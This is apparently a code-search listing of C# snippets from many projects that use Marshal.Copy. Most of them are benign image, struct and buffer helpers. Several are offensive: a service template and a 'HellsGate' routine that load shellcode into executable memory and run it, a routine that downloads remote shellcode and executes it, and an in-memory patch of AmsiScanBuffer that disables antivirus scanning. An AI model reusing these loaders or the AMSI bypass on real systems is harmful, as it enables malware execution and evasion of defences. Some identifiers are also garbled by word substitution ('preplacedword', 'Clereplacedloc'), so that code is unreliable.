                       resultBitmap.Width, resultBitmap.Height),
                                        ImageLockMode.WriteOnly,
                                    PixelFormat.Format32bppArgb);


            Marshal.Copy(resultBuffer, 0, resultData.Scan0,
                                       resultBuffer.Length);
            resultBitmap.UnlockBits(resultData);


            return resultBitmap;
        }

19 View Source File : StructHelper.cs
License : MIT License
Project Creator : albyho

public static T BytesToStuct<T>(byte[] bytes, Int32 offset) where T : struct
        {
            Type type = typeof(T);
            //得到结构体的大小
            Int32 size = Marshal.SizeOf(type);
            //byte数组长度小于结构体的大小
            if (size > bytes.Length - offset)
            {
                throw new ArgumentException("bytes 的长度不足", nameof(bytes));
                //返回空
                //return default(T);
            }
            //分配结构体大小的内存空间
            IntPtr structPtr = Marshal.AllocHGlobal(size);
            //将byte数组拷到分配好的内存空间
            Marshal.Copy(bytes, offset, structPtr, size);
            //将内存空间转换为目标结构体
            object obj = Marshal.PtrToStructure(structPtr, type);
            //释放内存空间
            Marshal.FreeHGlobal(structPtr);
            //返回结构体
            return (T)obj;
        }

19 View Source File : service-custom-nonpre.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

protected override void OnStart(string[] args)
        {
            string strShellCode = ("$$PAYLOAD$$");
            byte[] shellcode = Convert.FromBase64String(strShellCode);   
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            IntPtr pinfo = IntPtr.Zero;
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

19 View Source File : Form1.cs
License : MIT License
Project Creator : ALEXGREENALEX

public Bitmap Gray16To8bppIndexed(Bitmap BmpIn)
        {
            if (BmpIn.PixelFormat != PixelFormat.Format16bppGrayScale)
                throw new BadImageFormatException();

            byte[] ImageData = new byte[BmpIn.Width * BmpIn.Height * 2];
            Rectangle Re = new Rectangle(0, 0, BmpIn.Width, BmpIn.Height);

            BitmapData BmpData = BmpIn.LockBits(Re, ImageLockMode.ReadOnly, BmpIn.PixelFormat);
            Marshal.Copy(BmpData.Scan0, ImageData, 0, ImageData.Length);
            BmpIn.UnlockBits(BmpData);

            byte[] ImageData2 = new byte[BmpIn.Width * BmpIn.Height];
            for (long i = 0; i < ImageData2.LongLength; i++)
                ImageData2[i] = ImageData[i * 2 + 1];
            ImageData = null;

            Bitmap BmpOut = new Bitmap(BmpIn.Width, BmpIn.Height, PixelFormat.Format8bppIndexed);
            BmpData = BmpOut.LockBits(Re, ImageLockMode.WriteOnly, BmpOut.PixelFormat);
            Marshal.Copy(ImageData2, 0, BmpData.Scan0, ImageData2.Length);
            BmpOut.UnlockBits(BmpData);
            ImageData2 = null;
            BmpData = null;

            ColorPalette GrayPalette = BmpOut.Palette;
            Color[] GrayColors = GrayPalette.Entries;
            for (int i = 0; i < GrayColors.Length; i++)
                GrayColors[i] = Color.FromArgb(i, i, i);
            BmpOut.Palette = GrayPalette;

            return BmpOut;
        }

19 View Source File : IconHelper.cs
License : GNU General Public License v3.0
Project Creator : aduskin

[SecurityCritical]
      internal static IconHandle CreateIconCursor(byte[] colorArray, int width, int height, int xHotspot, int yHotspot, bool isIcon)
      {
         BitmapHandle colorBitmap = null;
         BitmapHandle maskBitmap = null;

         try
         {
            var bi = new InteropValues.BITMAPINFO(width, -height, 32)
            {
               biCompression = InteropValues.BI_RGB
            };

            var bits = IntPtr.Zero;
            colorBitmap = InteropMethods.CreateDIBSection(new HandleRef(null, IntPtr.Zero), ref bi, InteropValues.DIB_RGB_COLORS, ref bits, null, 0);

            if (colorBitmap.IsInvalid || bits == IntPtr.Zero)
            {
               return IconHandle.GetInvalidIcon();
            }

            Marshal.Copy(colorArray, 0, bits, colorArray.Length);
            var maskArray = GenerateMaskArray(width, height, colorArray);

            maskBitmap = InteropMethods.CreateBitmap(width, height, 1, 1, maskArray);
            if (maskBitmap.IsInvalid)
            {
               return IconHandle.GetInvalidIcon();
            }

            var iconInfo = new InteropValues.ICONINFO
            {
               fIcon = isIcon,
               xHotspot = xHotspot,
               yHotspot = yHotspot,
               hbmMask = maskBitmap,
               hbmColor = colorBitmap
            };

            return InteropMethods.CreateIconIndirect(iconInfo);
         }
         finally
         {
            colorBitmap?.Dispose();
            maskBitmap?.Dispose();
         }
      }

19 View Source File : MarshalUTF8.cs
License : Apache License 2.0
Project Creator : AlexWan

public static IntPtr StringToHGlobalUtf8(String data)
        {
            Byte[] dataEncoded = _utf8.GetBytes(data + "\0");

            int size = Marshal.SizeOf(dataEncoded[0]) * dataEncoded.Length;

            IntPtr pData = Marshal.AllocHGlobal(size);

            Marshal.Copy(dataEncoded, 0, pData, dataEncoded.Length);

            return pData;
        }

19 View Source File : HeifStreamReader.cs
License : GNU Lesser General Public License v3.0
Project Creator : 0xC0000054

protected override bool ReadCore(IntPtr data, long count)
        {
            long totalBytesRead = 0;
            long remaining = count;

            while (remaining > 0)
            {
                int streamBytesRead = this.stream.Read(this.streamBuffer, 0, (int)Math.Min(MaxReadBufferSize, remaining));

                if (streamBytesRead == 0)
                {
                    break;
                }

                Marshal.Copy(this.streamBuffer, 0, new IntPtr(data.ToInt64() + totalBytesRead), streamBytesRead);

                totalBytesRead += streamBytesRead;
                remaining -= streamBytesRead;
            }

            return remaining == 0;
        }

19 View Source File : StringConverter.cs
License : MIT License
Project Creator : AlternateLife

public static IntPtr StringToPointerUnsafe(string text)
        {
            if (text == null)
            {
                return IntPtr.Zero;
            }

            var bufferSize = Encoding.UTF8.GetByteCount(text) + 1;

            var buffer = new byte[bufferSize];
            Encoding.UTF8.GetBytes(text, 0, text.Length, buffer, 0);

            var pointer = Marshal.AllocHGlobal(bufferSize);

            Marshal.Copy(buffer, 0, pointer, bufferSize);

            return pointer;
        }

19 View Source File : UnmanagedBuffer.cs
License : Apache License 2.0
Project Creator : aequabit

public bool Commit(byte[] data, int index, int count)
        {
            if ((data != null) && this.Alloc(count))
            {
                Marshal.Copy(data, index, this.Pointer, count);
                return true;
            }
            if (data == null)
            {
                this.SetLastError(new ArgumentException("Attempting to commit a null reference", "data"));
            }
            return false;
        }

19 View Source File : HellsGate.cs
License : GNU General Public License v3.0
Project Creator : am0nsec

public void Payload() {
            if (!this.IsGateReady) {
                if (!this.GenerateRWXMemorySegment()) {
                    Util.LogError("Unable to generate RX memory segment");
                    return;
                }
            }

            byte[] shellcode = new byte[273] {
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
                0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
                0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
                0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
                0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
                0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
                0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
                0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
                0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
                0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
                0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
                0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
                0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
                0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
                0x63,0x00,0xc3
            };
            Util.LogInfo($"Shellcode size: {shellcode.Length} bytes");

            // Allocate Memory
            IntPtr pBaseAddres = IntPtr.Zero;
            IntPtr Region = (IntPtr)shellcode.Length;
            UInt32 ntstatus = NtAllocateVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, IntPtr.Zero, ref Region, Macros.MEM_COMMIT | Macros.MEM_RESERVE, Macros.PAGE_READWRITE);
            if (!Macros.NT_SUCCESS(ntstatus)) {
                Util.LogError($"Error ntdll!NtAllocateVirtualMemory (0x{ntstatus:0x8})");
                return;
            }
            Util.LogInfo($"Page address:   0x{pBaseAddres:x16}");

            // Copy Memory
            Marshal.Copy(shellcode, 0, pBaseAddres, shellcode.Length);
            Array.Clear(shellcode, 0, shellcode.Length);

            // Change memory protection
            UInt32 OldAccessProtection = 0;
            ntstatus = NtProtectVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, ref Region, Macros.PAGE_EXECUTE_READ, ref OldAccessProtection);
            if (!Macros.NT_SUCCESS(ntstatus) || OldAccessProtection != 0x0004) {
                Util.LogError($"Error ntdll!NtProtectVirtualMemory (0x{ntstatus:0x8})");
                return;
            }

            IntPtr hThread = IntPtr.Zero;
            ntstatus = NtCreateThreadEx(ref hThread, 0x1FFFFF, IntPtr.Zero, Macros.GetCurrentProcess(), pBaseAddres, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
            if (!Macros.NT_SUCCESS(ntstatus) || hThread == IntPtr.Zero) {
                Util.LogError($"Error ntdll!NtCreateThreadEx (0x{ntstatus:0x8})");
                return;
            }
            Util.LogInfo($"Thread handle:  0x{hThread:x16}\n");

            // Wait for one second
            Structures.LARGE_INTEGER TimeOut = new Structures.LARGE_INTEGER();
            TimeOut.QuadPart = -10000000;
            ntstatus = NtWaitForSingleObject(hThread, false, ref TimeOut);
            if (ntstatus != 0x00) {
                Util.LogError($"Error ntdll!NtWaitForSingleObject (0x{ntstatus:0x8})");
                return;
            }
        }

19 View Source File : X86Assembly.cs
License : MIT License
Project Creator : 20chan

public static Delegate CompileMachineCode(byte[] codes, out IntPtr buffer, Type delegateType = null)
        {
            buffer = WinAPI.VirtualAlloc(IntPtr.Zero, (uint)codes.Length, WinAPI.AllocationType.Commit | WinAPI.AllocationType.Reserve, WinAPI.MemoryProtection.ExecuteReadWrite);
            Marshal.Copy(codes, 0, buffer, codes.Length);
            return Marshal.GetDelegateForFunctionPointer(buffer, delegateType ?? typeof(IntDelegate));
        }

19 View Source File : Add_attribute.cs
License : GNU Affero General Public License v3.0
Project Creator : arklumpus

public static Page GetIcon(double scaling)
        {
            byte[] bytes;

            if (scaling <= 1)
            {

                bytes = Convert.FromBase64String(Icon16Base64);
            }
            else if (scaling <= 1.5)
            {
                bytes = Convert.FromBase64String(Icon24Base64);
            }
            else
            {
                bytes = Convert.FromBase64String(Icon32Base64);
            }

            IntPtr imagePtr = Marshal.AllocHGlobal(bytes.Length);
            Marshal.Copy(bytes, 0, imagePtr, bytes.Length);

            RasterImage icon;

            try
            {
                icon = new VectSharp.MuPDFUtils.RasterImageStream(imagePtr, bytes.Length, MuPDFCore.InputFileTypes.PNG);
            }
            catch (Exception ex)
            {
                throw ex.InnerException;
            }
            finally
            {
                Marshal.FreeHGlobal(imagePtr);
            }

            Page pag = new Page(16, 16);
            pag.Graphics.DrawRasterImage(0, 0, 16, 16, icon);

            return pag;
        }

19 View Source File : ZFrame.cs
License : Mozilla Public License 2.0
Project Creator : agebullhu

public override void Write(byte[] buffer, int offset, int count)
        {
            if (position + count > Length)
            {
                throw new InvalidOperationException();
            }
            Marshal.Copy(buffer, offset, DataPtr() + position, count);
            position += count;
        }

19 View Source File : Lasso_selection.cs
License : GNU Affero General Public License v3.0
Project Creator : arklumpus

public static Page GetIcon(double scaling, ref string icon1, ref string icon15, ref string icon2, double resolution)
        {
            byte[] bytes;

            if (scaling <= 1)
            {

                bytes = Convert.FromBase64String(icon1);
            }
            else if (scaling <= 1.5)
            {
                bytes = Convert.FromBase64String(icon15);
            }
            else
            {
                bytes = Convert.FromBase64String(icon2);
            }

            IntPtr imagePtr = Marshal.AllocHGlobal(bytes.Length);
            Marshal.Copy(bytes, 0, imagePtr, bytes.Length);

            RasterImage icon;

            try
            {
                icon = new VectSharp.MuPDFUtils.RasterImageStream(imagePtr, bytes.Length, MuPDFCore.InputFileTypes.PNG);
            }
            catch (Exception ex)
            {
                throw ex.InnerException;
            }
            finally
            {
                Marshal.FreeHGlobal(imagePtr);
            }

            Page pag = new Page(resolution, resolution);
            pag.Graphics.DrawRasterImage(0, 0, resolution, resolution, icon);

            return pag;
        }

19 View Source File : UiHelper.GameFunctions.cs
License : GNU Affero General Public License v3.0
Project Creator : 0ceal0t

public static T* CloneNode<T>(T* original) where T : unmanaged {
            var allocation = Clereplacedloc<T>();

            var bytes = new byte[sizeof(T)];
            Marshal.Copy(new IntPtr(original), bytes, 0, bytes.Length);
            Marshal.Copy(bytes, 0, new IntPtr(allocation), bytes.Length);

            var newNode = (AtkResNode*)allocation;
            newNode->ParentNode = null;
            newNode->ChildNode = null;
            newNode->ChildCount = 0;
            newNode->PrevSiblingNode = null;
            newNode->NextSiblingNode = null;
            return allocation;
        }

19 View Source File : Draw_image.cs
License : GNU Affero General Public License v3.0
Project Creator : arklumpus

public static Point[] PlotAction(TreeNode tree, Dictionary<string, object> parameterValues, Dictionary<string, Point> coordinates, Graphics graphics)
        {
            static double distance(Point p1, Point p2)
            {
                return Math.Sqrt((p1.X - p2.X) * (p1.X - p2.X) + (p1.Y - p2.Y) * (p1.Y - p2.Y));
            };

            static Point sumPoint(Point p1, Point p2)
            {
                return new Point(p1.X + p2.X, p1.Y + p2.Y);
            }

            static Point subtractPoint(Point p1, Point p2)
            {
                return new Point(p1.X - p2.X, p1.Y - p2.Y);
            }

            static Point multiplyPoint(Point p1, double scale)
            {
                return new Point(p1.X * scale, p1.Y * scale);
            }

            int format = (int)parameterValues["Image format:"];
            bool isSvg = format == 0;

            double width = (double)parameterValues["Width:"];
            double height = (double)parameterValues["Height:"];
            double scaleFactor = (double)parameterValues["Scale factor:"];

            string[] nodeElements = (string[])parameterValues["Node:"];

            TreeNode node = tree.GetLastCommonAncestor(nodeElements);

            if (node == null)
            {
                throw new Exception("Could not find the requested node! If you have changed the Name of some nodes, please select the node again!");
            }

            int anchor = (int)parameterValues["Anchor:"];
            int reference = (int)parameterValues["Orientation reference:"];
            int branchReference = (int)parameterValues["Branch reference:"];

            Point delta = (Point)parameterValues["Position:"];

            Point rootPoint = coordinates[Modules.RootNodeId];
            coordinates.TryGetValue("92aac276-3af7-4506-a263-7220e0df5797", out Point circularCenter);

            Point point = coordinates[node.Id];
            Point anglePoint = point;
            double referenceAngle = 0;

            if (reference == 0 && anchor == 0)
            {

            }
            else
            {
                //Rectangular
                if (branchReference == 0)
                {
                    if (node.Parent != null)
                    {
                        Point parentPoint = coordinates[node.Parent.Id];

                        Point pA = coordinates[node.Parent.Children[0].Id];
                        Point pB = coordinates[node.Parent.Children[^1].Id];

                        double numerator = pA.Y + pB.Y - 2 * parentPoint.Y;
                        double denominator = pA.X + pB.X - 2 * parentPoint.X;

                        Point rectAnglePoint;

                        if (Math.Abs(numerator) > 1e-5 && Math.Abs(denominator) > 1e-5)
                        {
                            double m = numerator / denominator;

                            double x = (m * (parentPoint.Y - point.Y + m * point.X) + parentPoint.X) / (m * m + 1);
                            double y = parentPoint.Y - (x - parentPoint.X) / m;

                            rectAnglePoint = new Point(x, y);
                        }
                        else if (Math.Abs(numerator) > 1e-5)
                        {
                            rectAnglePoint = new Point(point.X, parentPoint.Y);
                        }
                        else if (Math.Abs(denominator) > 1e-5)
                        {
                            rectAnglePoint = new Point(parentPoint.X, point.Y);
                        }
                        else
                        {
                            rectAnglePoint = point;
                        }

                        if (reference == 1)
                        {
                            referenceAngle = Math.Atan2(point.Y - rectAnglePoint.Y, point.X - rectAnglePoint.X);
                        }

                        if (anchor == 1)
                        {
                            anglePoint = rectAnglePoint;
                        }
                        else if (anchor == 2)
                        {
                            double minXChild = double.MaxValue;
                            double maxXChild = double.MinValue;
                            double minYChild = double.MaxValue;
                            double maxYChild = double.MinValue;


                            foreach (TreeNode leaf in node.GetLeaves())
                            {
                                Point pt = coordinates[leaf.Id];

                                minXChild = Math.Min(minXChild, pt.X);
                                maxXChild = Math.Max(maxXChild, pt.X);
                                minYChild = Math.Min(minYChild, pt.Y);
                                maxYChild = Math.Max(maxYChild, pt.Y);
                            }

                            point = new Point((minXChild + maxXChild) * 0.5, (minYChild + maxYChild) * 0.5);
                            anglePoint = point;
                        }
                        else if (anchor == 3)
                        {
                            Point branchVector = new Point(Math.Cos(referenceAngle), Math.Sin(referenceAngle));

                            double d = (rootPoint.X - point.X) * branchVector.X + (rootPoint.Y - point.Y) * branchVector.Y;

                            Point proj = new Point(point.X + d * branchVector.X, point.Y + d * branchVector.Y);

                            anglePoint = new Point(-point.X + proj.X * 2, -point.Y + proj.Y * 2);
                        }
                    }
                    else
                    {
                        Point parentPoint = coordinates[Modules.RootNodeId];


                        if (reference == 1)
                        {
                            referenceAngle = Math.Atan2(point.Y - parentPoint.Y, point.X - parentPoint.X);
                        }

                        if (anchor == 1)
                        {
                            anglePoint = parentPoint;
                        }
                        else if (anchor == 2)
                        {
                            double minXChild = double.MaxValue;
                            double maxXChild = double.MinValue;
                            double minYChild = double.MaxValue;
                            double maxYChild = double.MinValue;


                            foreach (TreeNode leaf in node.GetLeaves())
                            {
                                Point pt = coordinates[leaf.Id];

                                minXChild = Math.Min(minXChild, pt.X);
                                maxXChild = Math.Max(maxXChild, pt.X);
                                minYChild = Math.Min(minYChild, pt.Y);
                                maxYChild = Math.Max(maxYChild, pt.Y);
                            }

                            point = new Point((minXChild + maxXChild) * 0.5, (minYChild + maxYChild) * 0.5);
                            anglePoint = point;
                        }
                        else if (anchor == 3)
                        {
                            anglePoint = new Point(-point.X + parentPoint.X * 2, -point.Y + parentPoint.Y * 2);
                        }
                    }
                }
                //Radial
                else if (branchReference == 1)
                {
                    Point parentPoint;

                    if (node.Parent != null)
                    {
                        parentPoint = coordinates[node.Parent.Id];
                    }
                    else
                    {
                        parentPoint = coordinates[Modules.RootNodeId];
                    }

                    if (anchor == 1)
                    {
                        anglePoint = parentPoint;
                    }
                    else if (anchor == 2)
                    {
                        double minXChild = double.MaxValue;
                        double maxXChild = double.MinValue;
                        double minYChild = double.MaxValue;
                        double maxYChild = double.MinValue;


                        foreach (TreeNode leaf in node.GetLeaves())
                        {
                            Point pt = coordinates[leaf.Id];

                            minXChild = Math.Min(minXChild, pt.X);
                            maxXChild = Math.Max(maxXChild, pt.X);
                            minYChild = Math.Min(minYChild, pt.Y);
                            maxYChild = Math.Max(maxYChild, pt.Y);
                        }

                        point = new Point((minXChild + maxXChild) * 0.5, (minYChild + maxYChild) * 0.5);
                        anglePoint = point;
                    }
                    else if (anchor == 3)
                    {
                        point = coordinates[Modules.RootNodeId];
                    }

                    if (reference == 1)
                    {
                        referenceAngle = Math.Atan2(point.Y - parentPoint.Y, point.X - parentPoint.X);
                    }

                }
                //Circular
                else if (branchReference == 2)
                {
                    Point parentPoint;

                    if (node.Parent != null)
                    {
                        parentPoint = coordinates[node.Parent.Id];
                    }
                    else
                    {
                        parentPoint = coordinates[Modules.RootNodeId];
                    }

                    double myRadius = distance(point, circularCenter);
                    double parentRadius = distance(parentPoint, circularCenter);

                    Point realElbowPoint = sumPoint(point, multiplyPoint(subtractPoint(circularCenter, point), (myRadius - parentRadius) / myRadius));

                    if (anchor == 1)
                    {
                        anglePoint = realElbowPoint;
                    }
                    else if (anchor == 2)
                    {
                        double minR = double.MaxValue;
                        double maxR = double.MinValue;
                        double minTheta = double.MaxValue;
                        double maxTheta = double.MinValue;


                        foreach (TreeNode leaf in node.GetLeaves())
                        {
                            Point pt = coordinates[leaf.Id];

                            double r = pt.Modulus();
                            double theta = Math.Atan2(pt.Y, pt.X);

                            minR = Math.Min(minR, r);
                            maxR = Math.Max(maxR, r);
                            minTheta = Math.Min(minTheta, theta);
                            maxTheta = Math.Max(maxTheta, theta);
                        }

                        point = new Point((minR + maxR) * 0.5 * Math.Cos((minTheta + maxTheta) * 0.5), (minR + maxR) * 0.5 * Math.Sin((minTheta + maxTheta) * 0.5));
                        anglePoint = point;
                        realElbowPoint = circularCenter;
                    }
                    else if (anchor == 3)
                    {
                        anglePoint = new Point(-point.X + circularCenter.X * 2, -point.Y + circularCenter.Y * 2);
                    }

                    if (reference == 1)
                    {
                        referenceAngle = Math.Atan2(point.Y - realElbowPoint.Y, point.X - realElbowPoint.X);
                    }
                }
            }

            if (double.IsNaN(referenceAngle))
            {
                referenceAngle = 0;
            }

            point = new Point((point.X + anglePoint.X) * 0.5, (point.Y + anglePoint.Y) * 0.5);

            point = new Point(point.X + delta.X * Math.Cos(referenceAngle) - delta.Y * Math.Sin(referenceAngle), point.Y + delta.X * Math.Sin(referenceAngle) + delta.Y * Math.Cos(referenceAngle));

            Attachment image = (Attachment)parameterValues["Image:"];

            if (image != null && width > 0 && height > 0)
            {
                byte[] imageBytes = image.GetBytes();

                if (isSvg)
                {
                    Parser.ParseImageURI = VectSharp.MuPDFUtils.ImageURIParser.Parser(Parser.ParseSVGURI);

                    Page imagePage;
                    using (MemoryStream ms = new MemoryStream(imageBytes))
                    {
                        imagePage = Parser.FromStream(ms);
                    }

                    graphics.Save();
                    graphics.Translate(point.X - width * 0.5, point.Y - height * 0.5);
                    graphics.Scale(width / imagePage.Width, height / imagePage.Height);

                    graphics.DrawGraphics(0, 0, imagePage.Graphics);

                    graphics.Restore();
                }
                else
                {
                    MuPDFCore.InputFileTypes imageType = (MuPDFCore.InputFileTypes)(format - 1);

                    VectSharp.MuPDFUtils.RasterImageStream imageStream;

                    IntPtr imagePtr = Marshal.AllocHGlobal(imageBytes.Length);
                    Marshal.Copy(imageBytes, 0, imagePtr, imageBytes.Length);

                    try
                    {
                        imageStream = new VectSharp.MuPDFUtils.RasterImageStream(imagePtr, imageBytes.Length, imageType, scale: scaleFactor);
                    }
                    catch (Exception ex)
                    {
                        throw ex.InnerException;
                    }
                    finally
                    {
                        Marshal.FreeHGlobal(imagePtr);
                    }

                    graphics.DrawRasterImage(point.X - width * 0.5, point.Y - height * 0.5, width, height, imageStream);
                }
            }

            Point topLeft = new Point(point.X - width * 0.5, point.Y - height * 0.5);
            Point bottomRight = new Point(point.X + width * 0.5, point.Y + height * 0.5);
            return new Point[] { topLeft, bottomRight };
        }

19 View Source File : AudioPlayer.cs
License : GNU General Public License v3.0
Project Creator : ahmed605

private void Filler(IntPtr data, int size)
        {
            int blockCount = _wave.BlockCount;
            byte[] b = new byte[size];

            if (_file != null && (_looped || _lastBlock < blockCount))
            {
                MemoryStream ms = new MemoryStream();

                if (_leftOverBuffer != null)
                {
                    ms.Write(_leftOverBuffer, 0, _leftOverBuffer.Length);
                }
                
                while (ms.Position < size)
                {
                    _lastBlock++;

                    if (_lastBlock >= blockCount)
                    {
                        if (!_looped)
                        {
                            while(ms.Position < size)
                            {
                                ms.WriteByte(0);
                            }
                            break;
                        }
                        else
                        {
                            _lastBlock = 0;
                            _state = new DviAdpcmDecoder.AdpcmState();
                        }
                    }

                    _file.SoundBank.ExportWaveBlockAsPCM(_wave.Index, _lastBlock, ref _state, _file.Stream, ms);
                }

                int extraData = (int)(ms.Position - size);
                
                ms.Seek(0, SeekOrigin.Begin);
                ms.Read(b, 0, size);

                if (extraData > 0)
                {
                    _leftOverBuffer = new byte[extraData];
                    ms.Read(_leftOverBuffer, 0, extraData);
                }
                else
                {
                    _leftOverBuffer = null;
                }
            }
            else
            {
                for (int i = 0; i < b.Length; i++)
                {
                    b[i] = 0;
                }
            }
            System.Runtime.InteropServices.Marshal.Copy(b, 0, data, size);
        }

19 View Source File : Redirection.Method.cs
License : MIT License
Project Creator : 71

[MethodImpl(MethodImplOptions.AggressiveInlining)]
        private static void CopyToStart(byte[] bytes, IntPtr methodStart) => Marshal.Copy(bytes, 0, methodStart, bytes.Length);

19 View Source File : UiHelper.Textures.cs
License : GNU Affero General Public License v3.0
Project Creator : 0ceal0t

private unsafe static string GetResolvedPath(string texPath) {
            var pathBytes = Encoding.ASCII.GetBytes(texPath);
            var bPath = stackalloc byte[pathBytes.Length + 1];
            Marshal.Copy(pathBytes, 0, new IntPtr(bPath), pathBytes.Length);
            var pPath = (char*)bPath;

            var typeBytes = Encoding.ASCII.GetBytes("xet");
            var bType = stackalloc byte[typeBytes.Length + 1];
            Marshal.Copy(typeBytes, 0, new IntPtr(bType), typeBytes.Length);
            var pResourceType = (char*)bType;

            // TODO: might need to change this based on path
            var categoryBytes = BitConverter.GetBytes((uint)6);
            var bCategory = stackalloc byte[categoryBytes.Length + 1];
            Marshal.Copy(categoryBytes, 0, new IntPtr(bCategory), categoryBytes.Length);
            var pCategoryId = (uint*)bCategory;

            Crc32.Init();
            Crc32.Update(pathBytes);
            var hashBytes = BitConverter.GetBytes(Crc32.Checksum);
            var bHash = stackalloc byte[hashBytes.Length + 1];
            Marshal.Copy(hashBytes, 0, new IntPtr(bHash), hashBytes.Length);
            var pResourceHash = (uint*)bHash;

            var resource = (TextureResourceHandle*) GetResourceSync(GetFileManager(), pCategoryId, pResourceType, pResourceHash, pPath, (void*)IntPtr.Zero);
            var resolvedPath = resource->ResourceHandle.FileName.ToString();
            resource->ResourceHandle.DecRef(); // not actually using this

            PluginLog.Log($"RefCount {texPath} {resource->ResourceHandle.RefCount}");

            return resolvedPath;
        }

19 View Source File : Class1.cs
License : GNU General Public License v3.0
Project Creator : 0xB455

public static int Patch()
        {
            //Get pointer for the amsi.dll        
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer!");
                return 1;
            }

            //Get pointer for the AmsiScanBuffer function
            IntPtr AmsiScanBufrPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufrPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer!");
                return 1;
            }

            /*
             *  Apply memory patching as described by Cyberark here:          
             *  https://www.cyberark.com/threat-research-blog/amsi-bypreplaced-redux/
             */
            UIntPtr dwSize = (UIntPtr)4;
            uint Zero = 0;

            //Pointer changing the AmsiScanBuffer memory protection from readable only to writeable (0x40)
            if (!VirtualProtect(AmsiScanBufPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not modify AmsiScanBuffer memory permissions!");
                return 1;
            }

            Byte[] Patch = { 0x31, 0xff, 0x90 }; //The new patch opcode

            //Setting a pointer to the patch opcode array (unmanagedPointer)
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);

            //Patching the relevant line (the line which submits the rd8 to the edi register) with the xor edi,edi opcode
            MoveMemory(AmsiScanBufrPtr + 0x001b, unmanagedPointer, 3); 

            Console.WriteLine("Great success. AmsiScanBuffer patched! :)");
            return 0;
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0xDivyanshu

static int basic_rev(string location, int encryption, string preplacedword)
        {
            byte[] shellcode = downloaded_data(location, encryption, preplacedword);
            IntPtr address = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            IntPtr bytes = IntPtr.Zero;
            Marshal.Copy(shellcode, 0, address, shellcode.Length);
            IntPtr thread = CreateThread(IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(thread, 0xFFFFFFFF);
            return 0;
        }

19 View Source File : OVRNetwork.cs
License : MIT License
Project Creator : absurd-joy

public static FrameHeader FromBytes(byte[] arr)
		{
			FrameHeader header = new FrameHeader();

			int size = Marshal.SizeOf(header);
			Trace.replacedert(size == StructSize);

			IntPtr ptr = Marshal.AllocHGlobal(size);

			Marshal.Copy(arr, 0, ptr, size);

			header = (FrameHeader)Marshal.PtrToStructure(ptr, header.GetType());
			Marshal.FreeHGlobal(ptr);

			return header;
		}

19 View Source File : MethodDetour.cs
License : MIT License
Project Creator : Akaion

public void InitialiseDetour()
        {
            var originalMethodAddress = _originalMethodHandle.GetFunctionPointer();
            
            // Adjust the protection of the virtual memory region to ensure it has write privileges

            if (!Kernel32.VirtualProtect(originalMethodAddress, _detourBytes.Length, MemoryProtectionType.ReadWrite, out var oldProtection))
            {
                throw new PInvokeException("Failed to call VirtualProtect");
            }
            
            Marshal.Copy(_detourBytes, 0, originalMethodAddress, _detourBytes.Length);
            
            // Restore the original protection of the virtual memory region

            if (!Kernel32.VirtualProtect(originalMethodAddress, _detourBytes.Length, oldProtection, out _))
            {
